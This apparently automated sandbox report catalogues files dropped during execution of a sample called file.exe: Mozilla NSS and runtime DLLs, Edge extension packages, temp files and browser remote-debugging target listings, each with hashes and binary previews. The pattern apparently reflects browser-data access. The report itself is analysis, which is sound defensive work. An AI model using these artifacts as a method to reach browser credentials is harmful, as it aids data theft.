Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/9BCE93AE7A70FF0D2C3F865FD9712838",.. "id": "9BCE93AE7A70FF0D2C3F865FD9712838",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/9BCE93AE7A70FF0D2C3F865FD9712838"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/CC2BB5FFE9ECD86334E29403B220B2AF",.. "id": "CC2BB5FFE9ECD86334E29403B220B2AF",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/CC2BB5FFE9ECD86334E29403B220B2AF"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1267
Entropy (8bit):	5.377977041827037
Encrypted:	false
SSDEEP:	24:OBfNaoQbChvC3INePKllDQbCnBfNaoQ4oBYpDQiBfNaoQpHZFHQ1UQp9:SfNaoQb6UTEQbgfNaoQ4QWfNaoQhbDQn
MD5:	6548B34B39557A5C6DBD5482E45AEE3B
SHA1:	F55864AB60F5F25C70D024762D5D99142647CE92
SHA-256:	DBBE4B83F1F454EA4BD0B3FCA100B54C42EB20AC4BC170B35B3B76DDBDE02BDC
SHA-512:	9B20D795CE353F453C254B5558DF86042AAB47D5D57713097D30935915B3A9A0D15013798C85831BE84DEF3F819EB7C11DD95183D23A0BA8B658772AB935FF37
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/90CD6D5943F30E06AABCB05D31A47F5E",.. "id": "90CD6D5943F30E06AABCB05D31A47F5E",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/90CD6D5943F30E06AABCB05D31A47F5E"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/F70B44722EAF7E5B5858CA21BBB30E7D",.. "id": "F70B44722EAF7E5B5858CA21BBB30E7D",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/F70B44722EAF7E5B5858CA21BBB30E7D"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0c64860c-6c5c-4ddb-a301-2532d738bde3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\13b691fd-db8e-4dad-b44a-c42cc271fcc6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\147eec06-a245-4076-85f1-8602abc6fffc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\5834688f-82d2-4a86-8b86-2c6efe6db2f4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\821b591d-04b3-4edc-a9de-5a8051e300ef.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1557796
Entropy (8bit):	7.992544747992652
Encrypted:	true
SSDEEP:	24576:gHUwDcMVlT46syL4BYBkdKh5SBARtzj4zBvBO0S8pCh5EHWclLUefDmc9Lu:SUIcM/T46sveB+Kh5rRtH4zBvDNpCh2M
MD5:	5DB6C4D5F7F2BA81EF4169B16AF8AA14
SHA1:	D5FDD2FCA9C02406BA759DC4C58723CEE1B14435
SHA-256:	800EFAD5CC9DA5A8580521CCADF741106567897ED2D7EFF7AF18805DBA387C38
SHA-512:	FEEAD1925A638C28C86832562F761FCC23F861E4FF0F184F8071098B4A8956A054DF6AACB6F2E8B2D1FA1CFBA64E3340675BDE4099182098CD3A38D645617A8E
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....bKGD............./IDATX..W}l.E..3..w.+..H.\|...D.%..M.Z5.I..&.Q....W.%.P..!.&.Q.."..0...H.Z.".....>Z....A.......m.....1..........{...A........<.-a.27j..... '.A.D...kVI.B..A...}..o:/...h<..E....M2r.0.PP<j.j..e]..>lh.(..?u.....KqB.7CP..8.D.a.$.%..??.iG.=+.~..2FH...\am;}...n......h~.H...........#KvW..w;.#.dc..1.JW.2...(...nu.Q0....,..H0..1)..[....^.P..r..;.`{.d........%...6.......@.."O.+"&zSym.,.Nn..L..pj.&K.Z.....yH=..R.P?.i..Td...Sb.%o.....w..R`.sOJIjQ.>...i.v....A.CD\|bfx....).o.g.....I....6...!....<.t\|"....PO<".:/+..>1.......R.o...@.../"y.",S.@...B..h...Z...P.>.......+...:z........7,:.....\|)C.p.H+`i..e).8...zA".$:Z.o.........j]].....K:.....ZI.. ....~..&........:]...w.md./zkT.Z..F........,."7\|.\|u..3....G.../7.oJ...*...7..~l......PY.HQ>..`$........2.{.....>( I,...h..I...N.y}=..VN.R.....IH..kp.V..\|Io.+k...Eb.ES>.E2......Z.._.I .q0..0.......F.&D.(D1.Q+.M...!z9.....#xV.p....nH....7....\t.w"`F...-

C:\Users\user\AppData\Local\Temp\919c0338-a439-459c-9f68-bd4fca3df926.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.401864301436427
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854Rr5:8e2Fa116uCntc5toYN3MM
MD5:	3F13D2D0E30615A0F8DFA30C8DDC581D
SHA1:	3712CB5377856449353F121BCBB366816007C676
SHA-256:	B7B5877EA6ECF45BEC601BCF7F784AEA412E8FB09ECB8201D623378AF0CB5C70
SHA-512:	1E63B3B61E0BD014025EC72E10485A73787753AA7610545109229C28F736683795CC844537DCB5EF08C199A94A979822C0413F535C40D9BEE7BE82ACA53D821F
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\e249ebec-1553-476a-b144-e6447eb6d6b1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\147eec06-a245-4076-85f1-8602abc6fffc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
